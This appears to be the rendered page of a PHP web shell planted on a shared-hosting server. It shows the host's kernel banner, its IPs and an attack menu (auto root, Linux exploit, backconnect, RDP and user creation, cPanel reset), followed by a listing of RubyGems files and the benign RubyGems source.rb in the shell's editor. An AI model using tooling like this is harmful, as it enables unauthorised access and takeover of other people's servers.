Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby33 /
share /
rubygems /
rubygems /
[ HOME SHELL ]
Name
Size
Permission
Action
commands
[ DIR ]
drwxr-xr-x
core_ext
[ DIR ]
drwxr-xr-x
defaults
[ DIR ]
drwxr-xr-x
ext
[ DIR ]
drwxr-xr-x
gemcutter_utilities
[ DIR ]
drwxr-xr-x
package
[ DIR ]
drwxr-xr-x
request
[ DIR ]
drwxr-xr-x
request_set
[ DIR ]
drwxr-xr-x
resolver
[ DIR ]
drwxr-xr-x
safe_marshal
[ DIR ]
drwxr-xr-x
security
[ DIR ]
drwxr-xr-x
source
[ DIR ]
drwxr-xr-x
ssl_certs
[ DIR ]
drwxr-xr-x
util
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxr-xr-x
available_set.rb
3
KB
-rw-r--r--
basic_specification.rb
8.17
KB
-rw-r--r--
bundler_version_finder.rb
1.96
KB
-rw-r--r--
ci_detector.rb
3.71
KB
-rw-r--r--
command.rb
15.97
KB
-rw-r--r--
command_manager.rb
5.64
KB
-rw-r--r--
compatibility.rb
1022
B
-rw-r--r--
config_file.rb
15.79
KB
-rw-r--r--
defaults.rb
7.35
KB
-rw-r--r--
dependency.rb
8.45
KB
-rw-r--r--
dependency_installer.rb
9.91
KB
-rw-r--r--
dependency_list.rb
5.55
KB
-rw-r--r--
deprecate.rb
5.04
KB
-rw-r--r--
doctor.rb
3.13
KB
-rw-r--r--
errors.rb
4.53
KB
-rw-r--r--
exceptions.rb
7.33
KB
-rw-r--r--
ext.rb
498
B
-rw-r--r--
gem_runner.rb
1.89
KB
-rw-r--r--
gemcutter_utilities.rb
11.17
KB
-rw-r--r--
gemspec_helpers.rb
394
B
-rw-r--r--
install_default_message.rb
349
B
-rw-r--r--
install_message.rb
323
B
-rw-r--r--
install_update_options.rb
6.39
KB
-rw-r--r--
installer.rb
27.68
KB
-rw-r--r--
installer_uninstaller_utils.rb
771
B
-rw-r--r--
local_remote_options.rb
3.61
KB
-rw-r--r--
name_tuple.rb
2.38
KB
-rw-r--r--
openssl.rb
125
B
-rw-r--r--
package.rb
18.83
KB
-rw-r--r--
package_task.rb
3.79
KB
-rw-r--r--
path_support.rb
1.77
KB
-rw-r--r--
platform.rb
8.35
KB
-rw-r--r--
psych_tree.rb
795
B
-rw-r--r--
query_utils.rb
8.5
KB
-rw-r--r--
rdoc.rb
232
B
-rw-r--r--
remote_fetcher.rb
9.38
KB
-rw-r--r--
request.rb
8.7
KB
-rw-r--r--
request_set.rb
11.29
KB
-rw-r--r--
requirement.rb
7
KB
-rw-r--r--
resolver.rb
9.44
KB
-rw-r--r--
s3_uri_signer.rb
5.96
KB
-rw-r--r--
safe_marshal.rb
1.92
KB
-rw-r--r--
safe_yaml.rb
1.04
KB
-rw-r--r--
security.rb
21.69
KB
-rw-r--r--
security_option.rb
1.06
KB
-rw-r--r--
shellwords.rb
66
B
-rw-r--r--
source.rb
5.78
KB
-rw-r--r--
source_list.rb
2.42
KB
-rw-r--r--
spec_fetcher.rb
6.16
KB
-rw-r--r--
specification.rb
69.1
KB
-rw-r--r--
specification_policy.rb
15.59
KB
-rw-r--r--
specification_record.rb
5.21
KB
-rw-r--r--
stub_specification.rb
4.96
KB
-rw-r--r--
text.rb
2.06
KB
-rw-r--r--
uninstaller.rb
10.94
KB
-rw-r--r--
unknown_command_spell_checker....
411
B
-rw-r--r--
update_suggestion.rb
1.85
KB
-rw-r--r--
uri.rb
2.38
KB
-rw-r--r--
uri_formatter.rb
784
B
-rw-r--r--
user_interaction.rb
13.1
KB
-rw-r--r--
util.rb
2.46
KB
-rw-r--r--
validator.rb
3.63
KB
-rw-r--r--
vendored_molinillo.rb
81
B
-rw-r--r--
vendored_net_http.rb
233
B
-rw-r--r--
vendored_optparse.rb
79
B
-rw-r--r--
vendored_securerandom.rb
111
B
-rw-r--r--
vendored_timeout.rb
228
B
-rw-r--r--
vendored_tsort.rb
73
B
-rw-r--r--
version.rb
12.98
KB
-rw-r--r--
version_option.rb
2.17
KB
-rw-r--r--
yaml_serializer.rb
2.42
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : source.rb
# frozen_string_literal: true require_relative "text" ## # A Source knows how to list and fetch gems from a RubyGems marshal index. # # There are other Source subclasses for installed gems, local gems, the # bundler dependency API and so-forth. class Gem::Source include Comparable include Gem::Text FILES = { # :nodoc: released: "specs", latest: "latest_specs", prerelease: "prerelease_specs", }.freeze ## # The URI this source will fetch gems from. attr_reader :uri ## # Creates a new Source which will use the index located at +uri+. def initialize(uri) require_relative "uri" @uri = Gem::Uri.parse!(uri) @update_cache = nil end ## # Sources are ordered by installation preference. def <=>(other) case other when Gem::Source::Installed, Gem::Source::Local, Gem::Source::Lock, Gem::Source::SpecificFile, Gem::Source::Git, Gem::Source::Vendor then -1 when Gem::Source then unless @uri return 0 unless other.uri return 1 end return -1 unless other.uri # Returning 1 here ensures that when sorting a list of sources, the # original ordering of sources supplied by the user is preserved. return 1 unless @uri.to_s == other.uri.to_s 0 end end def ==(other) # :nodoc: self.class === other && @uri == other.uri end alias_method :eql?, :== # :nodoc: ## # Returns a Set that can fetch specifications from this source. def dependency_resolver_set # :nodoc: return Gem::Resolver::IndexSet.new self if uri.scheme == "file" fetch_uri = if uri.host == "rubygems.org" index_uri = uri.dup index_uri.host = "index.rubygems.org" index_uri else uri end bundler_api_uri = enforce_trailing_slash(fetch_uri) + "versions" begin fetcher = Gem::RemoteFetcher.fetcher response = fetcher.fetch_path bundler_api_uri, nil, true rescue Gem::RemoteFetcher::FetchError Gem::Resolver::IndexSet.new self else Gem::Resolver::APISet.new response.uri + "./info/" end end def hash # :nodoc: @uri.hash end ## # Returns the local directory to write +uri+ to. def cache_dir(uri) # Correct for windows paths escaped_path = uri.path.sub(%r{^/([a-z]):/}i, '/\\1-/') File.join Gem.spec_cache_dir, "#{uri.host}%#{uri.port}", File.dirname(escaped_path) end ## # Returns true when it is possible and safe to update the cache directory. def update_cache? return @update_cache unless @update_cache.nil? @update_cache = begin File.stat(Gem.user_home).uid == Process.uid rescue Errno::ENOENT false end end ## # Fetches a specification for the given +name_tuple+. def fetch_spec(name_tuple) fetcher = Gem::RemoteFetcher.fetcher spec_file_name = name_tuple.spec_name source_uri = enforce_trailing_slash(uri) + "#{Gem::MARSHAL_SPEC_DIR}#{spec_file_name}" cache_dir = cache_dir source_uri local_spec = File.join cache_dir, spec_file_name if File.exist? local_spec spec = Gem.read_binary local_spec Gem.load_safe_marshal spec = begin Gem::SafeMarshal.safe_load(spec) rescue StandardError nil end return spec if spec end source_uri.path << ".rz" spec = fetcher.fetch_path source_uri spec = Gem::Util.inflate spec if update_cache? require "fileutils" FileUtils.mkdir_p cache_dir File.open local_spec, "wb" do |io| io.write spec end end Gem.load_safe_marshal # TODO: Investigate setting Gem::Specification#loaded_from to a URI Gem::SafeMarshal.safe_load spec end ## # Loads +type+ kind of specs fetching from +@uri+ if the on-disk cache is # out of date. # # +type+ is one of the following: # # :released => Return the list of all released specs # :latest => Return the list of only the highest version of each gem # :prerelease => Return the list of all prerelease only specs # def load_specs(type) file = FILES[type] fetcher = Gem::RemoteFetcher.fetcher file_name = "#{file}.#{Gem.marshal_version}" spec_path = enforce_trailing_slash(uri) + "#{file_name}.gz" cache_dir = cache_dir spec_path local_file = File.join(cache_dir, file_name) retried = false if update_cache? require "fileutils" FileUtils.mkdir_p cache_dir end spec_dump = fetcher.cache_update_path spec_path, local_file, update_cache? Gem.load_safe_marshal begin Gem::NameTuple.from_list Gem::SafeMarshal.safe_load(spec_dump) rescue ArgumentError if update_cache? && !retried FileUtils.rm local_file retried = true retry else raise Gem::Exception.new("Invalid spec cache file in #{local_file}") end end end ## # Downloads +spec+ and writes it to +dir+. See also # Gem::RemoteFetcher#download. def download(spec, dir=Dir.pwd) fetcher = Gem::RemoteFetcher.fetcher fetcher.download spec, uri.to_s, dir end def pretty_print(q) # :nodoc: q.object_group(self) do q.group 2, "[Remote:", "]" do q.breakable q.text @uri.to_s if api = uri q.breakable q.text "API URI: " q.text api.to_s end end end end def typo_squatting?(host, distance_threshold=4) return if @uri.host.nil? levenshtein_distance(@uri.host, host).between? 1, distance_threshold end private def enforce_trailing_slash(uri) uri.merge(uri.path.gsub(%r{/+$}, "") + "/") end end require_relative "source/git" require_relative "source/installed" require_relative "source/specific_file" require_relative "source/local" require_relative "source/lock" require_relative "source/vendor"
Close